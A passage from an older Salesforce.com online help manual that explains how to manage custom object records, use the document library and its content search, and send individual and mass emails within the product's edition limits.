Change Owner. Enter the new record owner, optionally select Send Notification Email to send an email to the
new record owner, and click Save.
• Click New Custom Object Name or select the custom object name from the Create New drop-down list in the sidebar
to create a new custom object of that type. These options display only if you have the “Create” permission on the custom
object. See Creating Custom Object Records on page 192.
• Click any column heading to sort the records in ascending order using that column’s information. Click a column heading
a second time to sort in descending order.
• At the top and bottom of the list, click a letter to display the contents of the sorted column that begin with that character.
• Click the Next Page (or Previous Page) link to go to the next or previous set of records.
• At the bottom of the list, select fewer or more to view a shorter or longer display list.
Note: If you need information on a specific custom object, please contact your Salesforce.com administrator about
creating custom help for your custom objects. Salesforce.com Online Help covers the standard objects provided with
the initial Salesforce.com integration.

See Also:
Custom Object Record Overview
Customizing User Interface Settings
Working with Enhanced Lists
Using Inline Editing in Lists

Displaying and Editing Custom Object Records


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view custom object records: “Read” on the custom object
To change custom object records: “Edit” on the custom object

Note: Buttons and links mentioned in the online help only display for those users who have the appropriate user
permissions to use them.

Displaying Custom Object Records


Once you have located a custom object record on the custom objects tab home or list pages, click the custom object
record name to display detailed information.

190
Custom Object Records Displaying and Editing Custom Object Records

Tip: If your organization has enabled hover details, hover over any lookup field on the detail page to view key
information about a record before clicking into that record's detail page.

In Professional, Enterprise, Unlimited, and Developer Edition organizations that have set up the console to include
custom objects, click the Console tab to display the console, which allows you to find, view, and edit custom object
records and their associated records on one screen. For more information, see Displaying the Console on page 2372.

Editing Custom Object Records


To update custom object record details, click Edit, and then change the fields you want to update. When you have
finished, click Save. You can also click Save & New to save the current custom object record and create another. Required
fields are marked with red.
Note: You cannot change the Object Name or Data Type if the custom object is referenced in an Apex
script. For more information, see Force.com Apex Code Overview on page 1538.

Tagging Custom Object Records


If tags have been enabled, click Add Tags or Edit Tags in the Tags area directly under the title bar to tag the current
record. If the record is already tagged, click one of the tag names to view a list of all records with that tag.

Custom Object Related Lists


The lower portion of the custom object record detail page provides information related to the custom object record
including activities, notes, attachments, and any other related records. The related lists you see are determined by your
personal customization, and by any customization your administrator has made to page layouts or your permissions to
view related data. You can click on individual items to display additional detail. Click more at the bottom of the page
or View More below a related list to display more items. Clicking New lets you directly add new items.
Note: If enabled by your administrator, related list hover links display at the top of each detail page. If Salesforce
Chatter is enabled, related list hover links display below feeds. Hover your mouse pointer over a related list hover
link to display the corresponding related list and its number of records. An interactive overlay allows you to
quickly view and manage the related list items. You can also click a related list hover link to jump to the content
of the related list without having to scroll down the page.

Printing Custom Object Records


To open a printable display of all information for a record, click Printable View on the detail page.

To return to the last list page you viewed, click Back to list at the top of any custom object record detail page. If your organization
has enabled collapsible page sections, use the arrow icons next to the section headings to expand or collapse each section on
the detail page. See Navigating on page 9 for more information.

191
Custom Object Records Creating Custom Object Records

Note: If you need information on a specific custom object, please contact your Salesforce.com administrator about
creating custom help for your custom objects. Salesforce.com Online Help covers the standard objects provided with
the initial Salesforce.com integration.

See Also:
Custom Object Record Fields
Creating Custom Object Records
Deleting Custom Object Records
Searching for Custom Object Records
Using Custom Related Lists

Creating Custom Object Records


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view custom object records: “Read” on the custom object
To create custom object records: “Create” on the custom object

To create a new custom object record:

1. Click New Custom Object Name.


2. Enter the information for the custom object record.
3. Click Save when you are finished, or click Save & New to save the current record and add another.

If your administrator has defined relationships to other types of records, you can automatically associate the new custom object
with another record. View the other record and select the custom object name from the Create New drop-down list in the
sidebar, or click New Object Name in the custom object related list of the other record.
If your organization uses divisions to segment data, custom objects that are detail objects in a master-detail relationship inherit
their division from the master object. Custom objects that are not related to other records are automatically in the global
division.
Note: If you need information on a specific custom object, please contact your Salesforce.com administrator about
creating custom help for your custom objects. Salesforce.com Online Help covers the standard objects provided with
the initial Salesforce.com integration.

See Also:
Custom Object Record Fields
Custom Objects Home
Defining Custom Objects

192
Custom Object Records Cloning Custom Object Records

Cloning Custom Object Records


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To clone custom object records: “Create” on the custom object

The Clone button on a custom object record quickly creates a new custom object record with the same information as the
existing record. To clone a custom object record:

1. Click Clone on an existing custom object record.


2. Enter or change any information for the new record.
3. Click Save.

Note: If you have read-only access to a field, the value of that field is not carried over to the cloned record.

See Also:
Custom Object Record Fields

Using Custom Related Lists


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view custom object record related lists: “Read” on the custom object
AND
“Read” on the associated record

To change custom object records: “Edit” on the custom object


To create custom object records: “Create” on the custom object
To delete custom object records: “Delete” on the custom object

Custom related lists display on the lower portion of the detail page for another record. They list the custom object records
that are associated with that record.
From a custom related list, you can:

193
Custom Object Records Custom Object Record Fields

• Click the custom object record name to view detailed information.


• Click Edit or Del to edit or delete the custom object record.
• Click New to create a new custom object record that is associated with the record you are viewing.

Your administrator defines whether a custom object can be related to another type of record via master-detail or lookup
relationships. The administrator also specifies whether a custom related list displays on the page layout of the associated record.
For more information, see Overview of Relationships on page 1375.
Note: If you need information on a specific custom object, please contact your Salesforce.com administrator about
creating custom help for your custom objects. Salesforce.com Online Help covers the standard objects provided with
the initial Salesforce.com integration.

See Also:
Custom Object Record Overview
Displaying and Editing Custom Object Records
Creating Custom Object Records
Deleting Custom Object Records

Custom Object Record Fields


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

Custom object record fields contain the data you enter for your custom object records. Here is a description of the fields (in
alphabetical order) that make up a custom object record. Some of these fields may not be visible or editable depending on your
page layout and field-level security settings. (Field-level security is available in Enterprise, Unlimited, and Developer Editions
only.)
Your administrator may also have defined additional custom fields.

Field Description
Created By User who created the record.
Currency Currency of the record if multicurrency is enabled.
Division Division to which the custom object record belongs. Custom
objects that are “detail” objects in a master-detail relationship
inherit their division from the master object. Custom objects
that are not related to other records are automatically in the
global division. Available only in organizations that use
divisions to segment their data.
Last Modified By User who most recently changed the record.
Name Identifier for the custom object record. This name appears in
page layouts, related lists, lookup dialogs, search results, and
key lists on tab home pages. By default, this field is added to
the custom object page layout as a required field.

194
Custom Object Records Deleting Custom Object Records

Field Description
Owner Assigned owner of the custom object record. If the custom
object becomes the detail side of a master-detail relationship,
this field is removed, as ownership of the data is controlled by
the master object, or by the primary master object for a custom
object with two master-detail relationships.
Note: Custom objects on the “detail” side of a
master-detail relationship cannot have sharing rules,
manual sharing, or queues, as these require the Owner
field.

Note: If you need information on a specific custom object, please contact your Salesforce.com administrator about
creating custom help for your custom objects. Salesforce.com Online Help covers the standard objects provided with
the initial Salesforce.com integration.

See Also:
Custom Objects Home
Custom Object Record Overview

Deleting Custom Object Records


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To delete custom object records: “Delete” on the custom object

To delete a custom object record, click Del next to the record on the custom objects list page or in the custom related list of
an associated record. You can also delete a custom object record by clicking Delete on the custom object record detail page.
When you delete a custom object record, all related events, tasks, notes, and attachments are also deleted. If the custom object
is the master object in a master-detail relationship, any associated detail records are also deleted. If the custom object is in a
lookup relationship or the detail side of a master-detail relationship, any associated records are not deleted.
The deleted custom object record is moved to the Recycle Bin. If you undelete the record, any related items are also restored.
Note: You can delete a custom object record if you are an administrator, the record owner, or a user above the record
owner in the organization role hierarchy, and if you have the appropriate user permission. Custom objects that are on

195
Custom Object Records Searching for Custom Object Records

the detail side of a master-detail relationship do not have an Owner field and can be deleted by any user who has access
to edit the associated master record.

See Also:
Recycle Bin
Overview of Relationships
Managing Custom Objects
Deleting Relationship Groups
Removing Members from Relationship Group Members

Searching for Custom Object Records


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view custom object records: “Read” on the custom object

To find specific custom object records

1. Enter your search terms in the Search box located in the sidebar.
Alternatively, click Advanced Search in the sidebar to search for items using the Advanced Search functionality, which
searches for matches in additional fields.
2. Click Search.
The search returns a list of items that match your search terms. The fields you see are determined by the search layout
defined by your administrator and by your field-level security settings (available in Enterprise and Developer Editions
only).
3. From the list of search results, select a record to jump directly to that record or click Edit to edit it.

You can also create a custom object list view to find custom object records that match specific criteria.
Note: If you need information on a specific custom object, please contact your Salesforce.com administrator about
creating custom help for your custom objects. Salesforce.com Online Help covers the standard objects provided with
the initial Salesforce.com integration.

See Also:
Search Overview

196
Custom Object Records Sharing Custom Object Records

Sharing Custom Object Records


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view a custom object record: “Read” on the custom object

Your administrator defines the default sharing model for your entire organization. You can change this model to extend sharing
to more users than the default set by your administrator. However, you cannot change the sharing model to make it more
restrictive than the default.
To view and manage sharing details, click Sharing on the custom object record detail page. The Sharing Detail page lists the
users, groups, roles, and territories that have sharing access to the record. On this page, you can do any of the following:

• To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define
your own custom view. To edit or delete any view you created, select it from the View drop-down list and click Edit.
• Click Add to grant access to the record for other users, groups, roles, or territories.
Note: To share a custom object record with another user, that user must have the “Read” permission on the custom
object.

• Click Expand List to view all users that have access to the record.
• For manual sharing rules that you created, click Edit or Del next to an item in the list to edit or delete the access level.

Note: If you need information on a specific custom object, please contact your Salesforce.com administrator about
creating custom help for your custom objects. Salesforce.com Online Help covers the standard objects provided with
the initial Salesforce.com integration.

See Also:
Granting Access to Records
Viewing Which Users Have Access

197
Documents Document Library Overview

DOCUMENTS

Document Library Overview


Available in: All Editions

A document library is a place to store files without attaching them to accounts, contacts, opportunities, or other records. Each
document in the document library resides in a folder. The folder’s attributes determine the accessibility of the folder and the
documents within it.

Displaying The Documents Tab


The Documents tab is automatically displayed for all users who have the standard profiles and who have not previously
customized their tabs. If your Documents tab is not visible, you can customize your display to show it. For more information,
see Customizing Your Display on page 34.
Note: The Documents tab is not part of Salesforce CRM Content.

See Also:
Documents Home
Monitoring Resources
Salesforce CRM Content Overview

Documents Home
Available in: All Editions

User Permissions Needed


To view Documents tab: “Read” on documents
To view documents: “Read” on documents
To upload new documents: “Create” on documents

Clicking on the Documents tab displays the documents home page.

198
Documents Viewing Document Lists

Note: If the Documents tab is not visible, you can customize your display to show it. For more information, see
Customizing Your Display on page 34.

• Under Find a Document, enter keywords to search for a document.


• In the Document Folders section, select a folder to view all the documents contained in that folder.
• The Recent Documents section displays the last ten or twenty-five documents you viewed, with the most recently-viewed
document listed first. This list is derived from your recent items and includes records owned by you and other users. Toggle
the Show 25 items and Show 10 items links to change the number of items that display.
• In the Recent Documents section, click New to upload a new document.

Note: The Documents tab is not part of Salesforce CRM Content.

See Also:
Document Library Overview
Viewing Document Lists
Displaying and Editing Document Properties
Uploading and Replacing Documents
Deleting Documents
Changing Document Authors
Searching for Documents
Managing Folders

Viewing Document Lists


Available in: All Editions

User Permissions Needed


To view documents: “Read” on documents
To change document properties: “Edit” on documents
To replace documents: “Edit” on documents
To delete documents: “Delete” on documents

The documents list page displays a list of documents in a selected folder. From this page, you can view detailed document
information or manipulate the document.

• Click the document name to view document property details. For information on the document details, see Displaying
and Editing Document Properties on page 200.
• Click Edit next to a document to view document file properties. For more details, see Displaying and Editing Document
Properties on page 200.

199
Documents Displaying and Editing Document Properties

• Click Del to remove the document from the document library. All deleted documents will be moved to the Recycle Bin.
For more information, see Deleting Documents on page 205.
• Click View to open the file in its associated application. If a file type is not recognized or the application is not loaded on
your machine, Salesforce.com displays a standard download dialog prompting you to choose a save option.
• Choose a folder to view a list of documents stored in that folder.
• Click any column heading to sort the documents in ascending order by the information in that column. Click the same
column heading again to sort documents in descending order.
• At the top and bottom of the list, click a letter to display the contents of the sorted column that begin with that character.
• Click the Next Page (or Previous Page) link to go to the next or previous set of documents.
• At the bottom of the document list, select fewer or more to view a shorter or longer display list.
• Click Printable View ( ) to display the current list view in a format that is ready for printing.

Note: If you cannot find a document, you may not have access to the folder that contains it. For more information
about folders, see Managing Folders on page 1057.

Displaying and Editing Document Properties


Available in: All Editions

User Permissions Needed


To view documents: “Read” on documents
To update properties: “Edit” on documents
To replace documents: “Edit” on documents
To move documents: “Edit” on documents
To delete documents: “Delete” on documents

Displaying Documents - Once you have located a document on the documents home or list pages, click the document name
to display detailed information.
Editing Documents - To update document properties, click Edit, and then change the properties you want updated. When
you have finished, click Save. See Document Properties on page 203 for a description of the document properties.
Tagging Documents - If tags have been enabled, click Add Tags or Edit Tags in the Tags area directly under the title bar
to tag the current record. If the record is already tagged, click one of the tag names to view a list of all records with that tag.
Deleting Documents - To delete a document, click Delete. See Deleting Documents on page 205 for more information about
deleting documents.
Updating Documents - To replace a document with an updated version, click Replace Document. See Uploading and
Replacing Documents on page 201 for instructions on replacing documents.
Emailing Documents - To email a document to a contact, click Email Document, fill in the details of the email, and click
Send. The document is sent as an attachment to the email and is logged in the Activity History for the contact. Documents
that reference URLs rather than physical files cannot be emailed. For a document that is an image embedded in an HTML

200
Documents Uploading and Replacing Documents

email template, such as a logo in a letterhead, make sure the document is marked as Externally Available on the
Documents tab so that a user who does not have a Salesforce.com username and password can view the image when it is
received in an email.
Searching a Document - To search for a document, enter search terms and click Find Document. A list of documents that
match your search terms displays. You can search for terms using the following fields:

• Document Name
• Keywords
• Description

If Document Content Searchable is checked, the content of a document can also be searched.
Viewing Folder Contents - To view all the documents in a folder, click the folder name.
Moving Documents - To store a document in a different folder, click Edit, choose a new folder, and click Save.
To return to the last list page you viewed, click Back to list at the top of any documents detail page. See Navigating on page
9 for more information.

See Also:
Uploading and Replacing Documents
Searching for Documents

Uploading and Replacing Documents


Available in: All Editions

User Permissions Needed


To upload new documents: “Create” on documents
To replace documents: “Edit” on documents

Uploading a New Document


To upload a document:
1. Click New Document from the Documents tab or click New next to Recent Documents on the documents home page.
If you do not have a New Document option, check if you have the correct permissions.
2. Specify a descriptive Document Name. If you want to use the file name, leave this field blank. The file name will appear
automatically when you upload the file.
3. If you have the “Customize Application” permission, enter a unique name to be used by the API and managed packages.
This name can contain only underscores and alphanumeric characters, and must be unique in your organization. It must
begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores. The
unique name lets developers change certain components' names or titles in a managed package and the changes are reflected
in a subscriber's organization.
4. You can check:

201
Documents Uploading and Replacing Documents

• Internal Use Only if the document is confidential. Checking this box does not change the visibility of the file but
prevents it from being publicly accessible.
• Externally Available Image if the document is an image, such as a logo, that's not confidential. Check this
box to:
- Make the image available from HTML email templates without requiring a Salesforce.com username and password
- Use the image as a custom tab icon or custom app logo, which do require a Salesforce.com username and password
to view
- Display the image in meeting requests

5. Select a folder for the document.


6. Enter a description to use later as search criteria.
7. Enter keywords that you can use later as search criteria.
8. Select a document or path option.
• To upload a document, click Browse, choose the file, and click Open.
• To store a link to the document, enter the location of the document. Enter a path and file name or a URL such as:
C:\Quotes\quote.doc, \\Server\Departments\Marketing\logo.doc, or http://www.salesforce.com.

9. Click Save.

Replacing a Document
To replace a document with an updated version:
1. Display the document you want to replace. For instructions on locating a document in the document library, see Searching
for Documents on page 206.
2. Click Replace Document.
3. Select a document or path option.
• To upload a replacement, click Browse, choose the file, and click Open.
• To store a link to the replacement, enter the location of the replacement. Enter a path and file name or a URL such
as: C:\Quotes\quote.doc, \\Server\Departments\Marketing\logo.doc, or http://www.salesforce.com.

4. Click Replace Document.

Tips for Uploading or Replacing Documents


• Documents stored as links cannot be attached to emails, but they save space in your document library.
• If document content search is enabled, Salesforce.com will also perform a full-text search of the document. When a new
document is uploaded or an old one is replaced, its contents are available for searches. For more information, see Searching
for Documents.
• Salesforce.com stores the most recent upload date as the modified date.
• You can upload documents that have file names of up to 255 characters including the extension.
• The size limit for any document you upload is 5 MB. The maximum size for a custom-app logo is 20 KB.
• Your organization’s used file storage includes all files stored in the document library.

202
Documents Document Properties

• If the Disallow HTML documents and attachments security setting is enabled for your organization, you cannot
upload files with the following file extensions: htm, html, htt, htx, mhtm, mhtml, shtm, shtml, acgi.

See Also:
Searching for Documents
Monitoring Resources

Document Properties
Available in: All Editions

Below is a description of the properties in alphabetical order that are stored for each document in the document library.

Field Description
Author The main point of contact for a document. Initially, the person
uploading the document is the author. Thereafter, the author
can be any selected user.
Created By The name of the person who originally uploaded the file.
Modified By The name of the person who last uploaded the file.
Folder The name of the folder that contains the document.
Document Content Searchable A checkbox that indicates if the content within a document
can be searched via the Find Document button on the
Documents tab. This checkbox is automatically set by
Salesforce.com.
Document Name The name of the document including its file extension.
Document Unique Name A unique name used to refer to the document when using the
Force.com API. In managed packages, this name prevents
naming conflicts on package installations. This name can
contain only underscores and alphanumeric characters, and
must be unique in your organization. It must begin with a
letter, not include spaces, not end with an underscore, and not
contain two consecutive underscores. With this field, a
developer can change certain components' names or titles in
a managed package and the changes are reflected in a
subscriber's organization.
Description A statement distinguishing this document from others.
Internal Use Only A checkbox that indicates if the document is confidential. The
Internal Use Only and Externally Available
Image checkboxes are mutually exclusive; you cannot select
both.

203
Documents Document Properties

Field Description
Externally Available Image A checkbox that indicates if the document is an image available
for HTML email templates, such as a logo in a letterhead,
and does not require a Salesforce.com username and password
to view in an email.
This checkbox indicates if the document is an image used as
a custom app logo or custom tab icon, which require a
Salesforce.com username and password to view.
The Internal Use Only and Externally Available
Image checkboxes are mutually exclusive; you cannot select
both.

Keywords An open text field containing one or more words that describe
the document. The program checks for matches in this field
when doing a search.
Path Stored in place of Document Name if you prefer to create a
link to the document instead of uploading it.
Size The size of the document in bytes.
Type The file type is determined by the file extension. For example,
filename.ppt is recognized as a PowerPoint file. If the
Disallow HTML documents and attachments security
setting is enabled for your organization, you cannot upload
files with the following file extensions: htm, html, htt, htx,
mhtm, mhtml, shtm, shtml, acgi.

See Also:
Displaying and Editing Document Properties
Viewing Document Lists

204
Documents Deleting Documents

Deleting Documents
Available in: All Editions

User Permissions Needed


To delete documents: “Delete” on documents
To restore documents: “Delete” on documents

To delete a document, click Del next to the document on the documents list page. Alternatively, click Delete on the documents
detail page.
When you delete a document, Salesforce.com stores it in the Recycle Bin. You can restore the document to your document
library within that time by clicking Undelete from the Recycle Bin.
Note:

• You can delete any document in your personal folder but you can only delete a document in a public folder if you
have the “Manage Public Documents” permission.
• If you delete a document that's included in a letterhead or HTML email template, any emails using the letterhead
or template display a broken link in its place. You can fix the broken link by removing the document from the
Recycle Bin.
• You can't delete a document that's being used as a custom logo in meeting requests. To delete it, you must either
select another document to use as a logo or uncheck the option to display a custom logo in meeting requests.

See Also:
Managing Folders
Recycle Bin

Changing Document Authors


Available in: All Editions

User Permissions Needed


To change documents: “Edit” on documents

Since documents are stored in folders that control user access, documents do not have owners like other types of records, but
they do have authors. The author represents the user that originally uploaded the document file.
To change the author of a document:

205
Documents Searching for Documents

1. View the document you want to modify.


2. Click Change next to the Author field.
The Change link displays only on the detail page, not the edit page. If you do not see the Change link, you may not have
sufficient privileges to change a document author.
3. Enter a new author name. Alternatively, click the lookup icon to choose from a list of users.
4. Check the Send Notification Email box if you would like to alert the new author of this change.

Note: When you change document authorship, Salesforce.com does not change the document’s visibility.

See Also:
Managing Folders

Searching for Documents


Available in: All Editions

User Permissions Needed


To view documents: “Read” on documents

To find specific documents, use the Find Document button on the documents home page.

1. Click the Documents tab.


2. Enter your search terms. Salesforce.com searches the following fields:

• Document Name
• Keywords
• Description

3. Click Find Document.


The search returns a list of documents that match all your search terms. The search results are listed in order of the closest
matches. The Keywords and Document Name fields are used to determine the closest matches. The fields you see are
predefined and cannot be changed.
Tip: Use quotation marks around a phrase to search for the words in that sequence. For example, a search for “my
logos” returns documents whose fields or content contains that exact phrase, as well as my and logos. Without
quotation marks, your search returns any document whose fields or content includes any of the words in the search.
For example, my logos returns documents whose fields or content contains my and logos.

4. Select any document to jump directly to the detail page for that document, or click View to open the document in a new
window.

206
Documents Searching for Documents

If document content search is enabled, Salesforce.com will also perform a full-text search of the document. When a new
document is uploaded or an old one is replaced, its contents are available for searches.
To enable document content search:

1. Click Setup ➤ Customize ➤ Search ➤ Search Settings.


2. Select Enable Document Content Search.

Note: Salesforce.com automatically determines if the contents of a document can be searched. If the Document
Content Searchable property is checked on a document, then its contents have been processed successfully and
can be searched. If your document is large, it may take several minutes before Salesforce.com searches the contents of
a document and marks the Document Content Searchable property.

The following file types are supported for a document content search.
Note: The contents of documents that exceed the maximum sizes are not searched; however, the document fields are
still searched. Only the first one million characters of text are searched. Text beyond this limit is not included in the
search.

File Type File Extensions Maximum Size


HTML (only the text within a <body> 5,120 KB
.htm
tag)
.html

.xhtml

PDF .pdf 25,600 KB


PPT 25,600 KB
.pot

.pps

.ppt

RTF .rtf 5,120 KB


Text 5,120 KB
.c

.cpp

.css

.csv

.ini

.java

.log

.sql

.txt

Word 25,600 KB
.doc

.dot

207
Email Email Overview

File Type File Extensions Maximum Size


XLS 5,120 KB, or a maximum cell limit of
.xls
100,000 cells
.xlt

XML .xml 5,120 KB

In some instances documents are not searched. These include:

• If a file extension is changed to a different format, it is not searched, even if both extensions are valid. For example, a .txt
file that is renamed to .rtf is not searched.
• PDF and Word documents may have security restrictions that prevent them from being searched. To ensure that the
content is searchable, the “content extraction” property on your file must be set to “Enabled” when creating your document.

See Also:
Search Overview
Uploading and Replacing Documents
Search Fields
Search Wildcards and Operators

EMAIL

Email Overview
Available in: All Editions
Mass email not available in: Personal, Contact Manager, and Group Editions

You can email contacts, leads, person accounts, and users in your organization directly from account, contact, lead, opportunity,
case, campaign, or custom object pages.
Using mass email in Professional, Enterprise, Unlimited, and Developer Edition organizations, you can email a list of contacts,
leads, or person accounts for small-scale sales or support emails. This functionality is intended to facilitate your business
processes, not replace your existing email application or handle mass marketing campaigns.
Using the API, you can send single emails to a maximum of 1,000 external email addresses per day based on Greenwich Mean
Time (GMT). Single emails sent using the application do not count towards this limit.
You can send mass email to a maximum of 1,000 external email addresses per day based on Greenwich Mean Time (GMT).
The maximum number of external addresses you can include in each mass email depends on the Edition of Salesforce.com
you are using:

208
Email Sending Email

Edition Limit
Professional 250
Enterprise Edition 500
Unlimited Edition 1000

You can send an unlimited amount of email to your internal users. These limits also apply to emails sent from the API and
Apex.
When you send an email, you can choose a predefined template for the message. To personalize your message, the template
can include merge fields that are replaced with information from the Salesforce.com record when the email is sent. For instance,
your organization may want to use a standard template to communicate solution information to customers with cases. Your
administrator maintains organization-wide templates, and you can maintain your own personal templates.

See Also:
Sending Email
Sending Mass Email
Editing Email Settings
Email Fields
Managing Email Templates
Force.com Connect for Microsoft Outlook® Overview
What is a Person Account?
Testing Deliverability

Sending Email
Available in: All Editions

User Permissions Needed


To send emails: “Send Email”
To create an organization-wide address: “Modify all Data”

To send email to a contact, lead, person account, or other user:

1. Click Send An Email on the Activity History related list of a record. Or, from a case, click Send An Email or Reply from
the Email related list. This option is available only to organizations using Email-to-Case or On-Demand Email-to-Case.
2. Optionally, you can specify the sending address of the email from the From drop-down list for emails associated with
Email-to-Case or On-Demand Email-to-Case; or if the email name or email address in your email settings is different
from the email name or email address on your user record.

209
Email Sending Email

When creating a new outbound Email-to-Case or On-Demand Email-to-Case message, the From address is auto-populated
with your name. When replying to an inbound message, the From address is auto-populated with the routing address to
which the email was sent.
If you previously defined any organization-wide addresses, the email addresses associated with your user profile also appear
in this drop-down list. Organization-wide addresses are not available for Mass Email, or Stay-in-Touch requests.
3. Click Switch to Text-Only to remove any HTML formatting and send a text email. Click Switch to HTML to use
HTML formatting.
Note: Use HTML formatting if you want to track the email. See Tracking HTML Email on page 215 for more
information.

4. Choose a recipient by entering a contact, lead, or person account in the To: field. Only one name can be entered in the
To: field. For contacts and leads that have multiple email fields, you can choose an email address.
5. Optionally, choose another record, such as an account, case, or custom object, to associate with the email.
6. Optionally, if you want other people to receive the email as primary recipients, enter email addresses in the Additional
To: field, or click the Additional To: link to select individuals from a list. These people do not need to be Salesforce.com
records. Email addresses can be separated by semicolons, commas, spaces, or new lines.
7. In the CC: and BCC: fields, enter any additional email addresses, or click the CC or BCC link to select individuals from
a list. Email addresses can be separated by semicolons, commas, spaces, or new lines.
If your organization has enabled compliance BCC emails, the BCC: field is not available and your Automatic Bcc setting
under My Email Settings is disabled.
8. Enter a subject and body for the email, or click Select Template to choose a predefined email template. Choose a folder
and select a template from the folder. If necessary, you can modify the content of the template in your email; however, you
cannot modify Custom templates.
When replying to an Email-to-Case or On-Demand Email-to-Case email, the original email is included in the email
body. All or parts of this email can be deleted.
9. If you chose an HTML email template, use the format toolbar to format your text. For details on the format toolbar, see
Using the Format Toolbar on page 431. Available in Professional, Enterprise, Unlimited, and Developer Editions only.
10. Optionally, select Attach File to add a file. You can attach multiple files as long as the total size of all attached files does
not exceed 10 MB.
11. If Spell Checker is enabled for your organization, click Check Spelling to spell-check the body of the email. Spell Checker
does not support all the languages that Salesforce.com supports. For example, Thai, Russian, and double-byte languages,
such as Japanese, Korean, or Chinese, are not supported.
If you are using an email template, the Check Spelling button is available for text templates and Visualforce templates
without HTML tags.
12. Click Send.
If the recipient does not have an email address, Salesforce.com prompts you to edit the person’s email address and click:

• Save Address to add the email address to the record without sending the email.
• Save Address and Send to add the email address to the record and send the email.

Notes on Sending Email


• If bounce management is activated and the email bounces, Salesforce.com displays an error message. Click the link in the
error message to update the email address and optionally send the email to the updated address.

210
Email Sending Mass Email

• Emails sent via the Send an Email button are listed in the Activity History list of the related records. The Activity History
item displays as “Email: <Subject>.” You can click the email subject to view the body of the email. Attachments are not
stored with the email, unless they are associated with an Email-to-Case or On-Demand Email-to-Case email.
• Emails sent from the Email related list of a case are saved in the Email related list. This functionality is only available for
organizations with Email-to-Case or On-Demand Email-to-Case enabled.
• You can send emails related to any record, as long as you have access to view or edit the record.
• Email templates give you access only to the fields that are accessible to you via your page layout and field-level security
settings. (Field-level security is available in Enterprise, Unlimited, and Developer Editions only.)
• Attachments are sent as links if the attachment(s) total size is 3 MB or more or if the attachment is sent using mass email.
When recipients click the attachment link in the email, the attachment opens in a separate Web browser, and they can
download the file. Attachments sent as links are stored for 30 days.

See Also:
Email Fields
Editing Email Settings
Sending Mass Email
Tracking HTML Email
Working with Case Emails
What is a Person Account?
Testing Deliverability

Sending Mass Email


Available in: Professional, Enterprise, and Unlimited Editions

User Permissions Needed


To send mass emails to contacts, person accounts, or leads: "Mass Email"
To send mass emails to users: "Mass Email"
AND
"Manage Users"

To send mass emails and log them in the Activity History "Mass Email"
related list:
AND
"Edit Tasks"

You can send a mass email message to a recipient list that consists of contacts, leads, person accounts, or users you can view
in Salesforce.com.
You can send mass email to a maximum of 1,000 external email addresses per day based on Greenwich Mean Time (GMT).
The maximum number of external addresses you can include in each mass email depends on the Edition of Salesforce.com
you are using:

211
Email Sending Mass Email

Edition Limit
Professional 250
Enterprise Edition 500
Unlimited Edition 1000

You can send an unlimited amount of email to your internal users. These limits also apply to emails sent from the API and
Apex.

1. Choose the type of recipients for your mass email:

• To send mass email to contacts or person accounts, click Mass Email Contacts in the Tools section at the bottom of
the Contacts or Cases tabs. If your organization uses person accounts, the link is also in the Tools section at the bottom
of the Accounts tab.
• To send mass email to leads, click Mass Email Leads in the Tools section at the bottom of the Leads tab.
• To send mass email to users, click Setup ➤ Manage Users ➤ Mass Email Users. This link is available to administrators
and users with the “Manage Users” permission.

2. Select a list view of recipients and click Go!. By default, the My Contacts, My Leads, Active Users, or My Cases views
include all records of that type with an email address. To change the list of recipients, create a new custom view. See
Creating Custom List Views on page 219.
Contacts, leads, or person accounts that have the Email Opt Out field selected or do not have an email address are not
included in any email list views.
Note: Person accounts are included in contact list views.

3. All recipients in the list view are selected by default. If there are recipients who should not receive the mass email, deselect
them. Optionally, use the top checkbox in the list view to select or deselect all of the recipients listed on the page.
4. Click Next.
5. Choose an email template.
Note: You cannot send a mass email using a Visualforce email template.

6. Optionally, click the Preview links to view the templates. In the email template preview window, the template displays
with any merge fields included, such as {!Account.AccountNumber}. When you send your email, data from the
recipients' records, or any applicable substitute text, is inserted into the email in place of those merge fields.
7. Click Next.
8. On the confirmation page, select from the available Processing Options:

• BCC me on one message


• Store an activity for each message

The Activity History item is associated with the contact, lead, or person account and displays as “Mass Email:<Template
Description>.” The email subject, body, and attachments are not stored in the Activity History item. To log Activity
History items, you must have access to view or edit the records in the recipient list and have the “Edit Task” permission.
• Use my signature

212
Email Sending Mass Email

Optionally, include your email signature in this mass email. This option applies to text emails only. See Editing Email
Settings on page 39 for information on creating an email signature.
• Mass Email Name

Enter a name you can use to identify this mass email in the mass email queue. See Monitoring the Mass Email Queue
on page 707 for more information.
Note: The mass email name only appears in the mass email queue and status messages you receive from
Salesforce.com. Salesforce.com does not add the mass email name to the mass email you are sending.

9. In the Delivery Options section, do one of the following:

• Select Send now.


• Select Schedule for delivery on and click the date/time link to specify when Salesforce.com will send the mass email.
Use the adjacent drop-down menu to specify the time zone.
Note: Users can click Setup ➤ Email ➤ My Mass Emails to view and cancel mass emails they scheduled.
Administrators can click Setup ➤ Monitoring ➤ Mass Email to view and cancel mass emails scheduled by
all users in their organization. See Monitoring the Mass Email Queue on page 707 for more information.

10. Click Send to submit the mass email.


11. Click Finished to complete the mass email wizard.

Notes on Sending Mass Email


• Mass email can only be sent to an address in a standard email field. Mass email using a custom email field is not supported.
• If a standard email field is hidden by field-level security, the Mass Email links for Contacts and Leads do not display.
• Before you send a mass email, create a custom view of contacts, leads, person accounts, or cases without an email address.
In the search criteria, choose “Email equals,” and leave the third field blank. You can then update those records before
sending your emails. Unfortunately, there is no way to validate an email address without sending an actual email message.
• If your template contains a merge field for which there is no data in a particular record, that field does not display in the
email you send. To find such blank fields, modify your recipient list view to search for the merge fields you are using in
your template, and enter the criterion “<field> equals,” leaving the third field blank. Edit those records that have blank
fields before you send your emails.
• If the email deliverability option Notify sender when mass email completes is selected, you receive an
